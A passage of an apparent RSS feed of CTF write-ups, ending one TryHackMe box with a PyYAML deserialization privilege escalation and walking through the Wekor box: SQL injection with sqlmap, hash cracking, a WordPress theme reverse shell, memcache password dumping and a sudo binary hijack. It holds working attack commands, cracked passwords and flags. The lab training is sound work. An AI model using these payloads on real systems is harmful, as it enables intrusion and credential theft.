    <span class="bp">self</span><span class="o">.</span><span class="n">file_name</span> <span class="o">=</span> <span class="n">file_name</span>
    <span class="bp">self</span><span class="o">.</span><span class="n">read_file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span> <span class="p">,</span><span class="s2">"r"</span><span class="p">)</span>

  <span class="k">def</span><span class="w"> </span><span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">read_file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>

<span class="n">data</span>  <span class="o">=</span> <span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">Execute</span><span class="p">()</span><span class="o">.</span><span class="n">run</span><span class="p">())</span>
</pre></div>
<div class="mw-heading mw-heading2"><h2 id="Exploit">Exploit</h2></div>
<p>We don’t have write access to the script itself, but searching for exploits affecting the yaml library that is imported will lead to <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation">this issue</a>.
</p><p>Let’s exploit it:
</p>
<pre>$ cp `which bash` /tmp/bash
$ cat &gt; /tmp/file.yml &lt;&lt; EOF
!!python/object/new:os.system ["chown root /tmp/bash;chmod u+s /tmp/bash"]
EOF</pre>
<div class="mw-heading mw-heading2"><h2 id="Root_shell">Root shell</h2></div>
<p>After a minute, we have a root shell:
</p>
<pre>imsau@enpass:/tmp$ ./bash -p
bash-4.3# cat /root/root.txt
5d45f08ee939521d59247233d3f8faf</pre>
<p>Root flag: <code>5d45f08ee939521d59247233d3f8faf</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101100
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.036 seconds
Real time usage: 0.765 seconds
Preprocessor visited node count: 122/1000000
Revision size: 17370/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 2/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 20607/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7003:|#|:idhash:canonical and timestamp 20260416101100 and revision id 38723. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > Wekor</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-Wekor</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-Wekor</comments>
            <pubDate>Wed, 12 May 2021 11:58:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-Wekor</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-Wekor.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>CTF challenge involving Sqli , WordPress , vhost enumeration and recognizing internal services&nbsp;;)
</p><p>Hey Everyone! This Box is just a little CTF I’ve prepared recently. I hope you enjoy it as it is my first time ever creating something like this&nbsp;!
</p><p>This CTF is focused primarily on enumeration, better understanding of services and thinking out of the box for some parts of this machine.
</p><p>Feel free to ask any questions…It’s okay to be confused in some parts of the box&nbsp;;)
</p><p>Just a quick note, Please use the domain <code>wekor.thm</code> as it could be useful later on in the box&nbsp;;)
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#User_flag"><span class="tocnumber">1</span> <span class="toctext">User flag</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Nmap_scan"><span class="tocnumber">1.1</span> <span class="toctext">Nmap scan</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Robots.txt"><span class="tocnumber">1.2</span> <span class="toctext">Robots.txt</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#SQL_Injection"><span class="tocnumber">1.3</span> <span class="toctext">SQL Injection</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#Wordpress_credentials"><span class="tocnumber">1.4</span> <span class="toctext">Wordpress credentials</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Wordpress"><span class="tocnumber">1.5</span> <span class="toctext">Wordpress</span></a></li>
<li class="toclevel-2 tocsection-7"><a href="#Reverse_Shell"><span class="tocnumber">1.6</span> <span class="toctext">Reverse Shell</span></a></li>
<li class="toclevel-2 tocsection-8"><a href="#Lateral_move_(www-data_->_Orka)"><span class="tocnumber">1.7</span> <span class="toctext">Lateral move (www-data -&gt; Orka)</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#User_flag_2"><span class="tocnumber">1.8</span> <span class="toctext">User flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-10"><a href="#Root_flag"><span class="tocnumber">2</span> <span class="toctext">Root flag</span></a>
<ul>
<li class="toclevel-2 tocsection-11"><a href="#Orka’s_privileges"><span class="tocnumber">2.1</span> <span class="toctext">Orka’s privileges</span></a></li>
<li class="toclevel-2 tocsection-12"><a href="#Reverse_engineering_(bitcoin,_transfer.py)"><span class="tocnumber">2.2</span> <span class="toctext">Reverse engineering (bitcoin, transfer.py)</span></a></li>
<li class="toclevel-2 tocsection-13"><a href="#Hijack_the_python_binary"><span class="tocnumber">2.3</span> <span class="toctext">Hijack the python binary</span></a></li>
<li class="toclevel-2 tocsection-14"><a href="#Root_access"><span class="tocnumber">2.4</span> <span class="toctext">Root access</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="User_flag">User flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Nmap_scan">Nmap scan</h2></div>
<p>Let’s add the domain, as instructed:
</p>
<pre>┌──(kali㉿kali)-[/data/Wekor]
└─$ echo "10.10.207.93 wekor.thm" | sudo tee -a /etc/hosts
[sudo] password for kali: 
10.10.207.93 wekor.thm</pre>
<p>Nmap reveals 2 open ports:
</p>
<pre>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:c3:ce:af:07:fa:e2:8e:29:04:e4:cd:14:6a:21:b5 (RSA)
|   256 4d:99:b5:68:af:bb:4e:66:ce:72:70:e6:e3:f8:96:a4 (ECDSA)
|_  256 0d:e5:7d:e8:1a:12:c0:dd:b7:66:5e:98:34:55:59:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 9 disallowed entries 
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot 
|_/comingreallysoon /interesting
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="Robots.txt">Robots.txt</h2></div>
<p>Starting with the web port, the <code>robots.txt</code> file reveals several locations:
</p>
<pre>User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting</pre>
<p>Most of the locations lead to 404 errors, but 1:
</p>
<pre>┌──(kali㉿kali)-[/data/Wekor]
└─$ for i in `curl -s http://wekor.thm/robots.txt | grep Disallow | cut -d " " -f2`;do echo $i;curl -I http://wekor.thm$i;echo "---";done
/workshop/
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/root/
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/lol/
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/agent/
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/feed
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/crawler
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/boot
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

---
/comingreallysoon
HTTP/1.1 301 Moved Permanently
Date: Tue, 11 May 2021 16:27:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: http://wekor.thm/comingreallysoon/
Content-Type: text/html; charset=iso-8859-1

---
/interesting
HTTP/1.1 404 Not Found
Date: Tue, 11 May 2021 16:27:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
</pre>
<p>Browsing <code><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://wekor.thm/comingreallysoon/">http://wekor.thm/comingreallysoon/</a></code> discloses a new location: <code>/it-next</code>:
</p>
<pre>┌──(kali㉿kali)-[/data/Wekor]
└─$ curl -s http://wekor.thm/comingreallysoon/
Welcome Dear Client!

We've setup our latest website on /it-next, Please go check it out!

If you have any comments or suggestions, please tweet them to @faketwitteraccount!

Thanks a lot&nbsp;!</pre>
<div class="mw-heading mw-heading2"><h2 id="SQL_Injection">SQL Injection</h2></div>
<p>There are many pages in this website. Checking all pages where forms are available led me to a SQL injection vulnerability in the <code>it_cart.php</code> page. Intercept the page with BurpSuite, save the POST request as <code>ìt_cart_coupon.xml</code> and use <code>sqlmap</code> to dump the database:
</p>
<pre>$ sqlmap -r it_cart_coupon.xml --dump-all --threads=10</pre>
<p>SQLmap has dumped 2 interesting databases: <code>coupons</code> and <code>worpress</code>:
</p>
<pre>┌──(kali㉿kali)-[~/…/sqlmap/output/wekor.thm/dump]
└─$ ll
total 24
drwxr-xr-x 2 kali kali 4096 May 11 19:45 coupons
drwxr-xr-x 2 kali kali 4096 May 11 19:45 information_schema
drwxr-xr-x 2 kali kali 4096 May 11 19:46 mysql
drwxr-xr-x 2 kali kali 4096 May 11 19:47 performance_schema
drwxr-xr-x 2 kali kali 4096 May 11 19:49 sys
drwxr-xr-x 2 kali kali 4096 May 11 19:49 wordpress</pre>
<p>List of tables in the <code>wordpress</code> database:
</p>
<pre>┌──(kali㉿kali)-[~/…/sqlmap/output/wekor.thm/dump]
└─$ tree wordpress 
wordpress
├── option_value-36999631.bin
├── post_content-15186792.bin
├── wp_comments.csv
├── wp_options.csv
├── wp_postmeta.csv
├── wp_posts.csv
├── wp_term_relationships.csv
├── wp_terms.csv
├── wp_term_taxonomy.csv
├── wp_usermeta.csv
└── wp_users.csv</pre>
<p>Wordpress Users:
</p>
<pre>┌──(kali㉿kali)-[~/…/output/wekor.thm/dump/wordpress]
└─$ cat wp_users.csv     
ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key
1,http://site.wekor.thm/wordpress,$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.,admin@wekor.thm,admin,0,admin,admin,2021-01-21 20:33:37,&lt;blank&gt;
5743,http://jeffrey.com,$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10,jeffrey@wekor.thm,wp_jeffrey,0,wp jeffrey,wp_jeffrey,2021-01-21 20:34:50,1611261290:$P$BufzJsT0fhM94swehg1bpDVTupoxPE0
5773,http://yura.com,$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/,yura@wekor.thm,wp_yura,0,wp yura,wp_yura,2021-01-21 20:35:27,&lt;blank&gt;
5873,http://eagle.com,$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/,eagle@wekor.thm,wp_eagle,0,wp eagle,wp_eagle,2021-01-21 20:36:11,&lt;blank&gt;</pre>
<p>There is an interesting information associated to the admin account: <code><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://site.wekor.thm/wordpress">http://site.wekor.thm/wordpress</a></code> may be the URL to Wordpress.
</p>
<div class="mw-heading mw-heading2"><h2 id="Wordpress_credentials">Wordpress credentials</h2></div>
<p>All user accounts but admin have been cracked:
</p>
<pre>┌──(kali㉿kali)-[/data/Wekor/files]
└─$ /data/src/john/run/john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt                                1 ⚙
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockyou          (wp_jeffrey)
xxxxxx           (wp_eagle)
soccer13         (wp_yura)
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed</pre>
<div class="mw-heading mw-heading2"><h2 id="Wordpress">Wordpress</h2></div>
<p>Let’s add the new virtualhost:
</p>
<pre>$ echo "10.10.207.93 site.wekor.thm" | sudo tee -a /etc/hosts</pre>
<p>Now, browsing <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://site.wekor.thm/wordpress">http://site.wekor.thm/wordpress</a> leads to a Wordpress installation. we immediately jump to <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://site.wekor.thm/wordpress/wp-admin/">http://site.wekor.thm/wordpress/wp-admin/</a> and try the credentials found previously. Trying the 3 accounts reveals that <code>wp_yura</code> is actually granted administrator privileges
</p>
<ul><li><code>admin</code>: Administrator, but we haven’t been able to crack the password</li>
<li><code>wp_eagle</code>: Subscriber</li>
<li><code>wp_jeffrey</code>: Subscriber</li>
<li><code>wp_yura</code>: Administrator</li></ul>
<div class="mw-heading mw-heading2"><h2 id="Reverse_Shell">Reverse Shell</h2></div>
<p>Now that we are logged in with admin privileges, go to “Appearance &gt; Theme Editor”, and edit the <code>404.php</code> template page to replace its content with a PHP reverse shell. Start a listener (<code>nc -nlvp 4444</code>) and browse <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://site.wekor.thm/wordpress/wp-content/themes/twentytwentyone/404.php">http://site.wekor.thm/wordpress/wp-content/themes/twentytwentyone/404.php</a>. We now have a reverse shell.
</p>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(www-data_->_Orka)"><span id="Lateral_move_.28www-data_-.3E_Orka.29"></span>Lateral move (www-data -&gt; Orka)</h2></div>
<p>Running linpeas.sh will reveal several services running for localhost only, 1 of which on port 11211.
</p>
<pre>[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3010          0.0.0.0:*               LISTEN      -               
tcp6       0      0&nbsp;:::80                  &nbsp;:::*                    LISTEN      -               
tcp6       0      0&nbsp;:::22                  &nbsp;:::*                    LISTEN      -               
tcp6       0      0&nbsp;::1:631                &nbsp;:::*                    LISTEN      -               </pre>
<p>After some reasearch on the Internet, I found <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://book.hacktricks.xyz/pentesting/11211-memcache">this post</a> about memcache. Let’s check if we can dump cached information:
</p>
<pre>www-data@osboxes:/$ echo "stats items" | nc -vn -w 1 127.0.0.1 11211
echo "stats items" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
STAT items:1:number 5
STAT items:1:age 1361
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 0
STAT items:1:lrutail_reflocked 0
END
www-data@osboxes:/$ echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211
echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
ITEM id [4 b; 1620801753 s]
ITEM email [14 b; 1620801753 s]
ITEM salary [8 b; 1620801753 s]
ITEM password [15 b; 1620801753 s]
ITEM username [4 b; 1620801753 s]
END
www-data@osboxes:/$ echo "get username" | nc -vn -w 1 127.0.0.1 11211
echo "get username" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
VALUE username 0 4
Orka
END
www-data@osboxes:/$ echo "get password" | nc -vn -w 1 127.0.0.1 11211
echo "get password" | nc -vn -w 1 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
VALUE password 0 15
OrkAiSC00L24/7$
END
www-data@osboxes:/$ </pre>
<p>We have been able to get Orka’s password: <code>OrkAiSC00L24/7$</code>
</p>
<div class="mw-heading mw-heading2"><h2 id="User_flag_2">User flag</h2></div>
<p>Connect as <code>Orka</code> and get the user flag:
</p>
<pre>www-data@osboxes:/$ su Orka
su Orka
Password: OrkAiSC00L24/7$

Orka@osboxes:~$ cat /home/Orka/user.txt
1a26a6d51c0172400add0e297608dec6</pre>
<p>User flag: <code>1a26a6d51c0172400add0e297608dec6</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Root_flag">Root flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Orka’s_privileges"><span id="Orka.E2.80.99s_privileges"></span>Orka’s privileges</h2></div>
<p>Orka can run a <code>bitcoin</code> binary as <code>root</code> with <code>sudo</code>.
</p>
<pre>Orka@osboxes:~/.ssh$ sudo -l
sudo -l
[sudo] password for Orka: OrkAiSC00L24/7$

Matching Defaults entries for Orka on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
    (root) /home/Orka/Desktop/bitcoin</pre>
<p>Checking the directory where this binary lands reveals a python script:
</p>
<pre>Orka@osboxes:~/Desktop$ ll
ll
total 20
drwxrwxr-x  2 root root 4096 Jan 23 17:45 ./
drwxr-xr-- 19 Orka Orka 4096 May 12 03:51 ../
-rwxr-xr-x  1 root root 7696 Jan 23 15:23 bitcoin*
-rwxr--r--  1 root root  588 Jan 23 14:27 transfer.py*</pre>
<p>Running <code>strings</code> against the binary will reveal the expected password (<code>password</code>). Let’s run it:
</p>
<pre>Orka@osboxes:~/Desktop$ ./bitcoin
./bitcoin
Enter the password&nbsp;: password
password
Access Granted...
            User Manual:            
Maximum Amount Of BitCoins Possible To Transfer at a time&nbsp;: 9 
Amounts with more than one number will be stripped off! 
And Lastly, be careful, everything is logged&nbsp;:) 
Amount Of BitCoins&nbsp;: 20
20
Saving 2 BitCoin(s) For Later Use 
Do you want to make a transfer? Y/N&nbsp;: Y
Y
Transfering 2 BitCoin(s) 
Transfer Completed Successfully...</pre>
<div class="mw-heading mw-heading2"><h2 id="Reverse_engineering_(bitcoin,_transfer.py)"><span id="Reverse_engineering_.28bitcoin.2C_transfer.py.29"></span>Reverse engineering (bitcoin, transfer.py)</h2></div>
<p>Get a copy of both files and analyze the binary in Hopper to get the following pseudo code. We see that the binary calls a python script (<code>transfer.py</code>) with a relative path:
</p>
<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre><span></span><span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">arg0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">ebp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">stack</span><span class="p">[</span><span class="mi">-8</span><span class="p">];</span>
<span class="w">    </span><span class="o">*</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xc</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="mh">0x14</span><span class="p">;</span>
<span class="w">    </span><span class="n">printf</span><span class="p">(</span><span class="s">"Enter the password&nbsp;: "</span><span class="p">);</span>
<span class="w">    </span><span class="n">gets</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x7f</span><span class="p">);</span>
<span class="w">    </span><span class="n">esp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((((</span><span class="n">esp</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0xfffffff0</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xa0</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x7f</span><span class="p">,</span><span class="w"> </span><span class="s">"password"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"Access Denied... "</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"Access Granted..."</span><span class="p">);</span>
<span class="w">            </span><span class="n">sleep</span><span class="p">(</span><span class="mh">0x1</span><span class="p">);</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\t\t\t</span><span class="s">User Manual:</span><span class="se">\t\t\t</span><span class="s">"</span><span class="p">);</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"Maximum Amount Of BitCoins Possible To Transfer at a time&nbsp;: 9 "</span><span class="p">);</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"Amounts with more than one number will be stripped off! "</span><span class="p">);</span>
<span class="w">            </span><span class="n">puts</span><span class="p">(</span><span class="s">"And Lastly, be careful, everything is logged&nbsp;:) "</span><span class="p">);</span>
<span class="w">            </span><span class="n">printf</span><span class="p">(</span><span class="s">"Amount Of BitCoins&nbsp;: "</span><span class="p">);</span>
<span class="w">            </span><span class="n">__isoc99_scanf</span><span class="p">(</span><span class="mh">0x804893b</span><span class="p">);</span>
<span class="w">            </span><span class="n">esp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((((((((</span><span class="n">esp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x10</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x10</span><span class="p">;</span>
<span class="w">            </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">__ctype_b_loc</span><span class="p">();</span>
<span class="w">            </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="n">eax</span><span class="p">;</span>
<span class="w">            </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">int8_t</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x80</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0xff</span><span class="p">;</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="kt">int16_t</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">eax</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">sign_extend_32</span><span class="p">(</span><span class="n">edx</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">sign_extend_32</span><span class="p">(</span><span class="n">edx</span><span class="p">))</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0xffff</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0xffff</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0x800</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                    </span><span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Sorry, This is not a valid amount! "</span><span class="p">);</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">                    </span><span class="n">sprintf</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x70</span><span class="p">,</span><span class="w"> </span><span class="s">"python /home/Orka/Desktop/transfer.py %c"</span><span class="p">,</span><span class="w"> </span><span class="n">sign_extend_32</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int8_t</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x80</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="mh">0xff</span><span class="p">));</span>
<span class="w">                    </span><span class="n">system</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x70</span><span class="p">);</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">ebp</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xc</span><span class="p">);</span>
<span class="w">    </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="o">*</span><span class="mh">0x14</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">ecx</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x0</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>The python script is as follows:
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="n">Orka</span><span class="nd">@osboxes</span><span class="p">:</span><span class="o">~/</span><span class="n">Desktop</span><span class="err">$</span> <span class="n">cat</span> <span class="n">transfer</span><span class="o">.</span><span class="n">py</span>
<span class="n">cat</span> <span class="n">transfer</span><span class="o">.</span><span class="n">py</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">time</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">socket</span>
